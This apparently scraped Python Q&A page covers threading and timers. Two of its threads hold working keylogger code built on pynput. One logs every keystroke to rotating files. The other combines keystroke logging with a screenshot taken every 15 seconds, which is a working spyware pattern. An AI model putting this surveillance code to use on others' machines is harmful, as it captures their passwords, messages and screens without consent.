How to automatically save text file after specific time in python? - python

This is my keylogger code:
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time
start = time.time()
now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]
def on_press(key):
keys.append(key)
write_file(keys)
try:
print(key.char)
except AttributeError:
print(key)
def write_file(keys):
with open ('log-'+str(dt)+'.txt','w') as f:
for key in keys:
# end=time.time()
# tot_time=end-start
k=str(key).replace("'","")
f.write(k.replace("Key.space", ' ').replace("Key.enter", '\n'))
# if tot_time>5.0:
# f.close()
# else:
# continue
with Listener(on_press=on_press) as listener:
listener.join()
In write_file() function, I've used the close method and also the timer which should automatically save the file after 5 seconds, but that gives me a long 1 paged error whose last line says:
ValueError: I/O operation on closed file.
How do I make my program save the txt file after every 5 seconds and create a new txt file automatically?
NOTE: I actually want the log file to be generated automatically after every 4 hours so that it is not flooded with uncountable words. I've just taken 5 seconds as an example.

The most important problem is that you did not reset the timer. After f.close(), end_time should be transferred into start_time.
Also, since you call write() for every event, there is no reason to accumulate into keys[].
Also, you never empty keys[].

You may have to customize the first line.
schedule = [ '08:00:00', '12:00:00', '16:00:00', '20:00:00'] # schedule for close/open file (must ascend)
import pynput
from pynput.keyboard import Listener
def on_press(key):
txt = key.char if hasattr( key, 'char') else ( '<'+key._name_+'>')
# do some conversions and concatenate to line
if txt == '<space>': txt = ' '
if txt == None: txt = '<?key?>' # some keyboards may generate unknown codes for Multimedia
glo.line += txt
if (len(glo.line) > 50) or (txt=='<enter>'):
writeFile( glo.fh, glo.line+'\n')
glo.line = ''
def writeFile( fh, txt):
fh.write( txt)
def openFile():
from datetime import datetime
dt=datetime.now().strftime('%d%m%Y-%H%M%S')
fh = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
return fh
def closeFile( fh):
fh.close()
def closeAndReOpen( fh, line):
if len( line) > 0:
writeFile( fh, line+'\n')
closeFile( fh)
fh = openFile()
return fh
class Ticker():
def __init__( self, sched=None, func=None, parm=None):
# 2 modes: if func is supplied, tick() will not return. Everything will be internal.
# if func is not supplied, it's non-blocking. The callback and sleep must be external.
self.target = None
self.sched = sched
self.func = func
self.parm = parm
def selectTarget( self):
for tim in self.sched: # select next target time (they are in ascending order)
if tim > self.actual:
self.target = tim
break
else: self.target = self.sched[0]
self.today = (self.actual < self.target) # True if target is today.
def tick( self):
from datetime import datetime
while True:
self.actual = datetime.now().strftime( "%H:%M:%S")
if not self.target: self.selectTarget()
if self.actual < self.target: self.today = True
act = (self.actual >= self.target) and self.today # True if target reached
if act: self.target = '' # next tick will select a new target
if not self.func: break # Non-blocking mode: upper level will sleep and call func
# The following statements are only executed in blocking mode
if act: self.func( self.parm)
time.sleep(1)
return act # will return only if func is not defined
class Glo:
pass
glo = Glo()
glo.fh = None
glo.line = ''
glo.fini = False
glo.fh = openFile()
listener = Listener( on_press=on_press)
listener.start()
ticker = Ticker( sched=schedule) # start ticker in non-blocking mode.
while not glo.fini:
import time
time.sleep(1)
if ticker.tick():
# time to close and reopen
glo.fh = closeAndReOpen( glo.fh, glo.line)
glo.line = ''
listener.stop()
writeFile( glo.fh, glo.line+'\n')
closeFile( glo.fh)
exit()
If you're satisfied, you may mark the answer as "ACCEPTed".

I executed your program and found 2 problems.
The first one is about the start variable. Python use different namespaces for each program or function. Since start was defined at program level, it wasn't known in the function. Commenting out your timer logic was hiding the problem. You can fix the problem with the 'global' statement.
The second one is about "with open". If you use "with open" you must not close the file yourself. If you do, "with open" will not reopen the file.
Here's a working version of your program.
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time
start = time.time()
now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]
def on_press(key):
keys.append(key)
write_file(keys)
try:
print(key.char)
except AttributeError:
print(key)
def write_file(keys, f=None):
global start
for key in keys:
k=str(key).replace("'","").replace("Key.space", ' ').replace("Key.enter", '\n')
if not f:
f = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
f.write( k)
end=time.time()
tot_time=end-start
if tot_time>5.0:
f.close()
f = None
start=end
else:
continue
keys = []
with Listener(on_press=on_press) as listener:
listener.join()
A nicer solution would be move the open/close logic outside the write_file() function.

Related

How can I run a function forever?

Im trying to run the listener function forever, for example I want any time there is new information available in the stream it updates on the list automatically. Any idea in how to do it would be appreciated.
class Notifications(Screen):
notificationslist = ObjectProperty(None)
def listener(self, event = None):
notifications_screen = self.manager.get_screen('notif')
print(event.event_type) # can be 'put' or 'patch'
print(event.path) # relative to the reference, it seems
print(event.data) # new data at /reference/event.path. None if deleted
notifications = event.data
if notifications.items() == None:
return
else:
for key, value in notifications.items():
thevalue = value
notifications_screen.notificationslist.adapter.data.extend([value[0:17] + '\n' + value[18:]])
print(thevalue)
id = (thevalue[thevalue.index("(") + 1:thevalue.rindex(")")])
print(id)
If you want a function to run forever but that does not block you from doing other functions, then you can use threads.
Here is an example with example_of_process that runs forever, and then the main program with time.sleep(3)
import threading
import time
def example_of_process():
count = 0
while True:
print("count", count)
count += 1
time.sleep(1)
thread_1 = threading.Thread(target=example_of_process)
thread_1.daemon = True # without the daemon parameter, the function in parallel will continue even if your main program ends
thread_1.start()
# Now you can do anything else. I made a time sleep of 3s, otherwise the program ends instantly
time.sleep(3)

How do I make pynput.keyboard run as a Thread?

I wrote a script to capture keystrokes using Pynput, It went alright until I wanted to take screenshots every 15 seconds while capturing keystrokes(threading).
I read about pynput.keyboard Documents and saw that A keyboard listener is a threading.Thread, and yet I was unable to do it, I think I managed to create the two threads but it is not entering the 'getKey' function I don't know why.
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
listener = keyboard.Listener(onpress=getKey)
listener.start()
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
thread2.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
time.sleep(15)
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
main()
As I explained it does not even creates the file 'log.txt' only take a screenshot after 15sec.
Thank you!
This is the correct way to use listener from the official docs
if you need to capture screenshot every 15 seconds you should run a thread with a while loop to run in the background continuously
here is the code:
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
with Listener(on_press=getKey) as listener:
listener.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
# run contineous and take screenshot every 15 seconds
while True:
print('taking screenshot')
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
time.sleep(15)
main()
to use it in a non blocking way you should do it like this:
listener = Listener(on_press=on_press, on_release=on_release,suppress=True)
listener.start()
this will create 1 thread that is always listening without blocking the whole code (in case you need to do things that are not related to a key) but this also can end up creating too many threads so make sure you only create it if it doesn't exist yet like this:
from pynput.keyboard import Key, Listener, Controller
listener = None
keyPressed = None
def on_press(key):
if key == Key.enter:
global saveFile
saveFile = True
def on_release(key):
global keyPressed
keyPressed = key.char
def CheckWhichKeyIsPressed():
global listener
if listener == None:
listener = Listener(on_press=on_press, on_release=on_release,suppress=True)
listener.start()

Sharing Time variable Between two threads

Hi i need to create 2 threads one which repeatedly writes the time of day as an
HH:MM:SS string into a global variable 100 times per second. The second thread will repeatedly read the time of day
string from that variable twice per second and try to display it to screen but code in that thread should ensure the same
string is never written twice in a row. The result is that second thread really displays to screen only once per second. i have tried following code but its not working
import threading
import time
c = threading.Condition()
flag = 0 #shared between Thread_A and Thread_B
val = ''
class Thread_A(threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
def run(self):
global flag
global val #made global here
while True:
c.acquire()
if flag == 0:
time.sleep(0)
flag = 1
a=range(1,101)
for i in a:
val=time.strftime("%H:%M:%S", time.localtime(time.time()))
c.notify_all()
else:
c.wait()
c.release()
class Thread_B(threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
def run(self):
global flag
global val #made global here
while True:
c.acquire()
if flag == 1:
#time.sleep(1)
flag = 0
a=range(0,2)
for i in a:
print str(val)
#val = 20
c.notify_all()
else:
c.wait()
c.release()
a = Thread_A("myThread_name_A")
b = Thread_B("myThread_name_B")
b.start()
a.start()
a.join()
b.join()
You're making this more complicated than it needs to be. You can use a simple Lock object to make sure that only one thread can access val at a time.
The code below will run on Python 2 or Python 3. To stop it, hit Enter
import time
from threading import Thread, Lock
# Rename Python 2's raw_input to input
try:
input = raw_input
except NameError:
pass
val = ''
lock = Lock()
def set_time(delay=0.01):
''' Write the current time to val '''
global val
while True:
lock.acquire()
val = time.strftime("%H:%M:%S")
lock.release()
time.sleep(delay)
def get_time(delay=0.5):
''' Read the current time from val and print
it if it hasn't been printed already
'''
oldval = ''
while True:
lock.acquire()
if val != oldval:
print(val)
oldval = val
lock.release()
time.sleep(delay)
# Start the threads
for func in (set_time, get_time):
t = Thread(target=func)
t.setDaemon(True)
t.start()
#Wait until we get some input
s = input()
some typical output
02:22:04
02:22:05
02:22:06
02:22:07
02:22:08

how to pass a function to a tuple from a thread

My questions are interlaced within my code:
#!/usr/bin/python
import threading
import logging, logging.handlers
import hpclib
import json
import time
from datetime import datetime
from features import *
import sys
if len(sys.argv) != 3:
print "Please provide the correct inputs"
print "Usage: rest_test.py <controllerip> <counter>"
sys.exit()
controller = sys.argv[1]
counter = int(sys.argv[2])
class FuncThread(threading.Thread):
def __init__(self, target, *args):
self._target = target
self._args = args
threading.Thread.__init__(self)
def run(self):
self._target(*self._args)
def datapath_thread(ipaddress, testlogfile,count):
#initialize logging system
testlogger = logging.getLogger("testlogger")
testlogger.setLevel(logging.DEBUG)
file = open(testlogfile,'w')
file.close()
# This handler writes everything to a file.
h1 = logging.FileHandler(testlogfile)
f = logging.Formatter("%(levelname)s %(asctime)s %(funcName)s %(lineno)d %(message)s")
h1.setFormatter(f)
h1.setLevel(logging.DEBUG)
testlogger.addHandler(h1)
mylib = hpclib.hpclib(ipaddress)
success_count = 0
failure_count = 0
for i in range(count):
t1=datetime.now()
try:
(code, val) = datapaths.listDatapaths(mylib)
I want to pass this function datapaths.listDatapaths(mylib) as a argument from a thread below, something like (code,val)=functionname
if code == 200:
success_count +=1
else:
testlogger.debug("Return Code other than 200 received with code = %d, value = %s"%(code,val))
failure_count +=1
except:
failure_count += 1
testlogger.debug ("Unexpected error: %s"%sys.exc_info()[0])
continue
t2=datetime.now()
diff=t2-t1
testlogger.debug('RETURN code: %d. Time taken in sec = %s,Iteration = %d, Success = %d, Failure = %d'%(code,diff.seconds,i+1,success_count,failure_count))
time.sleep(1)
testlogger.removeHandler(h1)
# Passing ipadress of controller and log file name
t1 = FuncThread(datapath_thread, controller, "datapaths.log",counter)
Here I would like to pass function name as one of the argument,something like t1 = FuncThread(datapath_thread, controller, datapaths.listDatapaths(mylib),"datapaths.log",counter)
t1.start()
t1.join()
I have many functions to call like this,so want a easy way to call all the functions from one single function using many threads
Firstly, FuncThread is not very useful - FuncThread(func, *args) can be spelt Thread(target=lambda: func(*args)) or Thread(target=func, args=args).
You're pretty close - instead of passing in the result of calling the function, pass in the function itself
def datapath_thread(ipaddress, test_func, testlogfile, count):
# ...
for i in range(count):
# ...
try:
(code, val) = test_func(mylib)
#...
thread = Thread(target=datapath_thread, args=(
controller,
datapaths.listDatapaths,
"datapaths.log",
counter
))

Trigger an event when clipboard content changes

I'm trying to get the clipboard content using a Python script on my Mac Lion.
I'm searching for an event or something similar, because if I use a loop, my application spends all its time watching the clipboard.
Any ideas?
Have you thought about using an endless loop and "sleeping" between tries?
I used pyperclip for a simple PoC and it worked like a charm, and Windows and Linux.
import time
import sys
import os
import pyperclip
recent_value = ""
while True:
tmp_value = pyperclip.paste()
if tmp_value != recent_value:
recent_value = tmp_value
print("Value changed: %s" % str(recent_value)[:20])
time.sleep(0.1)
Instead of the print, do whatever you want.
Here is a complete multithreading example.
import time
import threading
import pyperclip
def is_url_but_not_bitly(url):
if url.startswith("http://") and not "bit.ly" in url:
return True
return False
def print_to_stdout(clipboard_content):
print ("Found url: %s" % str(clipboard_content))
class ClipboardWatcher(threading.Thread):
def __init__(self, predicate, callback, pause=5.):
super(ClipboardWatcher, self).__init__()
self._predicate = predicate
self._callback = callback
self._pause = pause
self._stopping = False
def run(self):
recent_value = ""
while not self._stopping:
tmp_value = pyperclip.paste()
if tmp_value != recent_value:
recent_value = tmp_value
if self._predicate(recent_value):
self._callback(recent_value)
time.sleep(self._pause)
def stop(self):
self._stopping = True
def main():
watcher = ClipboardWatcher(is_url_but_not_bitly,
print_to_stdout,
5.)
watcher.start()
while True:
try:
print("Waiting for changed clipboard...")
time.sleep(10)
except KeyboardInterrupt:
watcher.stop()
break
if __name__ == "__main__":
main()
I create a subclass of threading.Thread, override the methods run and __init__ and create an instance of this class. By calling watcher.start() (not run()!), you start the thread.
To safely stop the thread, I wait for <Ctrl>-C (keyboard interrupt) and tell the thread to stop itself.
In the initialization of the class, you also have a parameter pause to control how long to wait between tries.
Use the class ClipboardWatcher like in my example, replace the callback with what you do, e.g., lambda x: bitly(x, username, password).
Looking at pyperclip the meat of it on Macosx is :
import os
def macSetClipboard(text):
outf = os.popen('pbcopy', 'w')
outf.write(text)
outf.close()
def macGetClipboard():
outf = os.popen('pbpaste', 'r')
content = outf.read()
outf.close()
return content
These work for me how do you get on?
I don't quite follow your comment on being in a loop.
EDIT Added 'orrid polling example that shows how changeCount() bumps up on each copy to the pasteboard. It's still not what the OP wants as there seems no event or notification for modifications to the NSPasteboard.
from LaunchServices import *
from AppKit import *
import os
from threading import Timer
def poll_clipboard():
pasteboard = NSPasteboard.generalPasteboard()
print pasteboard.changeCount()
def main():
while True:
t = Timer(1, poll_clipboard)
t.start()
t.join()
if __name__ == "__main__":
main()
simple!
import os
def macSetClipboard(text):
outf = os.popen('pbcopy', 'w')
outf.write(text)
outf.close()
def macGetClipboard():
outf = os.popen('pbpaste', 'r')
content = outf.read()
outf.close()
return content
current_clipboard = macGetClipboard()
while True:
clipboard = macGetClipboard()
if clipboard != current_clipboard:
print(clipboard)
macSetClipboard("my new string")
print(macGetClipboard())
break
I originaly posted my answer on a duplicate Run a python code when copying text with specific keyword
Here the answer I came up with.
import clipboard
import asyncio
# Exemple function.
async def your_function():
print("Running...")
async def wait4update(value):
while True:
if clipboard.paste() != value : # If the clipboard changed.
return
async def main():
value = clipboard.paste() # Set the default value.
while True :
update = asyncio.create_task(wait4update(value))
await update
value = clipboard.paste() # Change the value.
asyncio.create_task(your_function()) #Start your function.
asyncio.run(main())

Categories

Resources